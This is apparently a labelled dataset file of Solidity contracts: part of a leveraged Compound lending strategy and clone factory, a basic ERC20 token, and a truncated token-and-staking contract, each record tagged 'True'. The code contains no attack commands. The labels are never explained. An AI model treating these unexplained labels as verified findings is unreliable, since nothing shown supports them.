uint256 collatRatio
) internal returns (uint256 leveragedAmount) {
uint256 theoreticalBorrow = lent.mul(collatRatio).div(1e18);
leveragedAmount = theoreticalBorrow.sub(borrowed);
if (leveragedAmount >= maxLeverage) {
leveragedAmount = maxLeverage;
}
if (leveragedAmount > 10) {
leveragedAmount = leveragedAmount.sub(uint256(10));
cToken.borrow(leveragedAmount);
cToken.mint(balanceOfToken(address(want)));
}
}
//emergency function that we can use to deleverage manually if something is broken
function manualDeleverage(uint256 amount) external management {
require(cToken.redeemUnderlying(amount) == 0);
require(cToken.repayBorrow(amount) == 0);
}
//emergency function that we can use to deleverage manually if something is broken
function manualReleaseWant(uint256 amount) external onlyGovernance {
require(cToken.redeemUnderlying(amount) == 0);
}
function protectedTokens() internal view override returns (address[] memory) {}
/******************
* Flash mint stuff
****************/
// Flash loan
// amount desired is how much we are willing for position to change
function doFlashMint(bool deficit, uint256 amountDesired) internal returns (uint256) {
return FlashMintLib.doFlashMint(deficit, amountDesired, address(want), collatRatioDAI);
}
//returns our current collateralisation ratio. Should be compared with collateralTarget
function storedCollateralisation() public view returns (uint256 collat) {
(uint256 lend, uint256 borrow) = getCurrentPosition();
if (lend == 0) {
return 0;
}
collat = uint256(1e18).mul(borrow).div(lend);
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external override returns (bytes32) {
require(msg.sender == FlashMintLib.LENDER);
require(initiator == address(this));
(bool deficit, uint256 amountWant) = abi.decode(data, (bool, uint256));
return FlashMintLib.loanLogic(deficit, amount, amountWant, cToken);
}
// -- Internal Helper functions -- //
function ethToWant(uint256 _amtInWei) public view override returns (uint256) {
return priceCheck(weth, address(want), _amtInWei);
}
function liquidateAllPositions() internal override returns (uint256 _amountFreed) {
(_amountFreed, ) = liquidatePosition(vault.debtOutstanding());
(uint256 deposits, uint256 borrows) = getCurrentPosition();
uint256 position = deposits.sub(borrows);
//we want to revert if we can't liquidateall
if (!forceMigrate) {
require(position < minWant);
}
}
function mgtm_check() internal view {
require(msg.sender == governance() || msg.sender == vault.management() || msg.sender == strategist, "!authorized");
}
modifier management() {
mgtm_check();
_;
}
}
// File: LevCompFactory.sol
contract LevCompFactory {
address public immutable original;
event Cloned(address indexed clone);
event Deployed(address indexed original);
constructor(
address _vault,
address _cToken
) public {
Strategy _original = new Strategy(_vault, _cToken);
emit Deployed(address(_original));
original = address(_original);
_original.setStrategist(msg.sender);
}
function name() external view returns (string memory) {
return string(abi.encodePacked("Factory", Strategy(payable(original)).name(), "@", Strategy(payable(original)).apiVersion()));
}
function cloneLevComp(
address _vault,
address _cToken
) external returns (address payable newStrategy) {
// Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol
bytes20 addressBytes = bytes20(original);
assembly {
// EIP-1167 bytecode
let clone_code := mload(0x40)
mstore(
clone_code,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
mstore(add(clone_code, 0x14), addressBytes)
mstore(
add(clone_code, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
newStrategy := create(0, clone_code, 0x37)
}
Strategy(newStrategy).initialize(_vault, _cToken);
Strategy(newStrategy).setStrategist(msg.sender);
emit Cloned(newStrategy);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-27
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract OhokoToken is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Ohoko Coin";
symbol = "OHK";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-01-13
*/
/*
website: nifity.io
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract NIFITY is ERC20("nifity.io", "NIFITY"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner.
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
contract NIFITYWORLD is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
uint256 requestAmount; // Reward debt. See explanation below.
uint256 requestBlock; // Block When tokens transfer to user
//
// We do some fancy math here. Basically, any point in time, the amount of NIFITY
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accNIFITYPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accSNIFITYPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. POBs to distribute per block.
uint256 lastRewardBlock; // Last block number that POBs distribution occurs.
uint256 accNifityPerShare; // Accumulated Nifity per share, times 1e12. See below.
}
// The Nifity TOKEN!
NIFITY public nifity;
// Dev address.
address public devaddr;
// Block number when bonus nifity period ends.
uint256 public bonusEndBlock;
// nifity tokens created per block.
uint256 public nifityPerBlock;
// Bonus muliplier for early Nifity makers.
uint256 public constant BONUS_MULTIPLIER = 1;
// Dev address.
address private devadr;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when Nifity mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
NIFITY _nifity,
address _devaddr,
uint256 _nifityPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock
) public {
nifity = _nifity;
devaddr = _devaddr;
nifityPerBlock = _nifityPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accNifityPerShare: 0
}));
}
// Update the given pool's NIFITY allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
